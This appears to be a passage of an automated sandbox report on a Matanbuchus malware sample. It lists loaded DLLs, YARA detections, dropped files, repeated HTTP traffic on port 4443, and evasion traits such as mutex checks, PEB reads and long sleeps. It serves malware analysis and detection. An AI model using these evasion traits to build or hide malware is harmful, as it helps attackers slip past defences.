Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: schannel.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Yara detected Matanbuchus

Data Obfuscation

Source: Yara match	File source: 14.2.regsvr32.exe.6b610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.6b610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.regsvr32.exe.6b610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4f80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.6c330000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4f80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.7f6d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.7f290000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.7f290000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.regsvr32.exe.7ebe0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.regsvr32.exe.7ebe0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.7f6d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2016135931.000000007F6D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2556486132.000000007EBE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2943950120.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2944640918.000000007F290000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\silver\libcurl.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\8f08\813848\813848.winmd, type: DROPPED

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2F1116 push ecx; ret	4_2_7F2F1129
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6FB37E push cs; retf 0002h	6_2_7F6FB37F
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F731116 push ecx; ret	6_2_7F731129
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC0B37E push cs; retf 0002h	11_2_7EC0B37F
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC41116 push ecx; ret	11_2_7EC41129

Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\8f08\813848\813848.winmd	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6890.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Roaming\silver\libcurl.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI67E2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6850.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI68B0.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6890.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI67E2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6850.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI68B0.tmp	Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Users\user\8f08\813848\813848.winmd

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49939

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_4-45781

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_4-46312

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: GetAdaptersInfo,

4_2_7F2DB260

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\8f08\813848\813848.winmd	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6890.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI67E2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6850.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI68B0.tmp	Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe	API coverage: 5.4 %
Source: C:\Windows\SysWOW64\regsvr32.exe	API coverage: 2.2 %

Source: C:\Windows\System32\msiexec.exe TID: 6316	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 980	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 980	Thread sleep time: -6890000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_7F2DADB0 GetSystemInfo,

4_2_7F2DADB0

Source: C:\Windows\SysWOW64\rundll32.exe

Thread delayed: delay time: 130000

Source: rundll32.exe, 00000004.00000002.2943141043.0000000002D9A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2943141043.0000000002DFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000004.00000002.2943141043.0000000002DFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn

Source: C:\Windows\SysWOW64\rundll32.exe

API call chain: ExitProcess graph end node

graph_4-45755

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_7F2F1417 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_7F2F1417

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B9830 mov edx, dword ptr fs:[00000030h]	4_2_7F2B9830
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C3740 mov ecx, dword ptr fs:[00000030h]	4_2_7F2C3740
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C3740 mov ecx, dword ptr fs:[00000030h]	4_2_7F2C3740
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C3740 mov eax, dword ptr fs:[00000030h]	4_2_7F2C3740
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C3740 mov edx, dword ptr fs:[00000030h]	4_2_7F2C3740
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D7660 mov ecx, dword ptr fs:[00000030h]	4_2_7F2D7660
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DB260 mov ecx, dword ptr fs:[00000030h]	4_2_7F2DB260
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DB260 mov eax, dword ptr fs:[00000030h]	4_2_7F2DB260
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DB260 mov edx, dword ptr fs:[00000030h]	4_2_7F2DB260
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DB260 mov eax, dword ptr fs:[00000030h]	4_2_7F2DB260
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DB260 mov ecx, dword ptr fs:[00000030h]	4_2_7F2DB260
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2ECDA9 mov eax, dword ptr fs:[00000030h]	4_2_7F2ECDA9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2ECDA9 mov ecx, dword ptr fs:[00000030h]	4_2_7F2ECDA9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DADB0 mov edx, dword ptr fs:[00000030h]	4_2_7F2DADB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E0C00 mov ecx, dword ptr fs:[00000030h]	4_2_7F2E0C00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DE690 mov ecx, dword ptr fs:[00000030h]	4_2_7F2DE690
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov ecx, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov edx, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov eax, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov ecx, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov ecx, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov ecx, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov eax, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov ecx, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov edx, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov eax, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov eax, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov edx, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov ecx, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov ecx, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov eax, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390 mov edx, dword ptr fs:[00000030h]	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DE1C0 mov edx, dword ptr fs:[00000030h]	4_2_7F2DE1C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D1EB0 mov eax, dword ptr fs:[00000030h]	4_2_7F2D1EB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D1EB0 mov edx, dword ptr fs:[00000030h]	4_2_7F2D1EB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D1EB0 mov eax, dword ptr fs:[00000030h]	4_2_7F2D1EB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D1EB0 mov eax, dword ptr fs:[00000030h]	4_2_7F2D1EB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D1EB0 mov eax, dword ptr fs:[00000030h]	4_2_7F2D1EB0
